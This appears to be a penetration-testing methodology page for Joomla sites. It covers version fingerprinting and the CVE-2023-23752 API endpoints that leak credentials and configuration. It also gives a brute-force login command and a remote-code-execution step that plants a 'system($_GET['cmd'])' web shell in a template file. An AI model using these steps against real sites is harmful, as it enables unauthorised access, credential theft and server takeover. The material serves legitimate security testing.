| ### Joomla Statistics
 | |
| 
 | |
| Joomla collects some anonymous [usage statistics](https://developer.joomla.org/about/stats.html) such as the breakdown of Joomla, PHP and database versions and server operating systems in use on Joomla installations. This data can be queried via their public [API](https://developer.joomla.org/about/stats/api.html).
 | |
| 
 | |
| ```bash
 | |
| curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
 | |
| 
 | |
| {
 | |
|     "data": {
 | |
|         "cms_version": {
 | |
|             "3.0": 0,
 | |
|             "3.1": 0,
 | |
|             "3.10": 6.33,
 | |
|             "3.2": 0.01,
 | |
|             "3.3": 0.02,
 | |
|             "3.4": 0.05,
 | |
|             "3.5": 12.24,
 | |
|             "3.6": 22.85,
 | |
|             "3.7": 7.99,
 | |
|             "3.8": 17.72,
 | |
|             "3.9": 27.24,
 | |
|             "4.0": 3.21,
 | |
|             "4.1": 1.53,
 | |
|             "4.2": 0.82,
 | |
|             "4.3": 0,
 | |
|             "5.0": 0
 | |
|         },
 | |
|         "total": 2951032
 | |
|     }
 | |
| }
 | |
| ```
 | |
| 
 | |
| ## Enumeration
 | |
| 
 | |
| ### Discovery/Footprinting
 | |
| 
 | |
| - Check the **meta**
 | |
| 
 | |
| ```bash
 | |
| curl https://www.joomla.org/ | grep Joomla | grep generator
 | |
| 
 | |
| <meta name="generator" content="Joomla! - Open Source Content Management" />
 | |
| ```
 | |
| 
 | |
| - robots.txt
 | |
| 
 | |
| ```
 | |
| # If the Joomla site is installed within a folder
 | |
| # eg www.example.com/joomla/ then the robots.txt file
 | |
| # MUST be moved to the site root
 | |
| # eg www.example.com/robots.txt
 | |
| # AND the joomla folder name MUST be prefixed to all of the
 | |
| # paths.
 | |
| [...]

 | |
| 1- What is this?
 | |
| 	* This is a Joomla! installation/upgrade package to version 3.x
 | |
| 	* Joomla! Official site: https://www.joomla.org
 | |
| 	* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
 | |
| 	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
 | |
| ```
 | |
| 
 | |
| ### Version
 | |
| 
 | |
| - In **/administrator/manifests/files/joomla.xml** you can see the version.
 | |
| - In **/language/en-GB/en-GB.xml** you can get the version of Joomla.
 | |
| - In **plugins/system/cache/cache.xml** you can see an approximate version.
 | |
| 
 | |
| ### Automatic
 | |
| 
 | |
| ```bash
 | |
| droopescan scan joomla --url http://joomla-site.local/
 | |
| ```
 | |
| 
 | |
| In[ **80,443 - Pentesting Web Methodology is a section about CMS scanners**](#cms-scanners) that can scan Joomla.
 | |
| 
 | |
| ### API Unauthenticated Information Disclosure:
 | |
| 
 | |
| Versions From 4.0.0 to 4.2.7 are vulnerable to Unauthenticated information disclosure (CVE-2023-23752) that will dump creds and other information.
 | |
| 
 | |
| - Users: `http://<host>/api/v1/users?public=true`
 | |
| - Config File: `http://<host>/api/index.php/v1/config/application?public=true`
 | |
| 
 | |
| **MSF Module**: `scanner/http/joomla_api_improper_access_checks` or ruby script: [51334](https://www.exploit-db.com/exploits/51334)
 | |
| 
 | |
| ### Brute-Force
 | |
| 
 | |
| You can use this [script](https://github.com/ajnik/joomla-bruteforce) to attempt to brute force the login.
 | |
| 
 | |
| ```shell-session
 | |
| sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
 | |
| 
 | |
| admin:admin
 | |
| ```
 | |
| 
 | |
| ## RCE
 | |
| 
 | |
| If you managed to get **admin credentials** you can **RCE inside of it** by adding a snippet of **PHP code** to gain **RCE**. We can do this by **customizing** a **template**.
 | |
| 
 | |
| 1. **Click** on **`Templates`** on the bottom left under `Configuration` to pull up the templates menu.
 | |
| 2. **Click** on a **template** name. Let's choose **`protostar`** under the `Template` column header. This will bring us to the **`Templates: Customise`** page.
 | |
| 3. Finally, you can click on a page to pull up the **page source**. Let's choose the **`error.php`** page. We'll add a **PHP one-liner to gain code execution** as follows:
 | |
|    1. **`system($_GET['cmd']);`**
 | |
| 4. **Save & Close**
 | |
| 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
 | |
| 
 | |
| ## From XSS to RCE
 | |
| 
 | |
| - [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script that **elevate XSS to RCE or Others Critical Vulnerabilities**. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Joomla Versions 5.X.X, 4.X.X, and 3.X.X, and allows to:**
 | |
|   - _**Privilege Escalation:**_ Creates an user in Joomla.
 | |
|   - _**(RCE) Built-In Templates Edit:**_ Edit a Built-In Templates in Joomla.
 | |
|   - _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party Joomla Plugins.
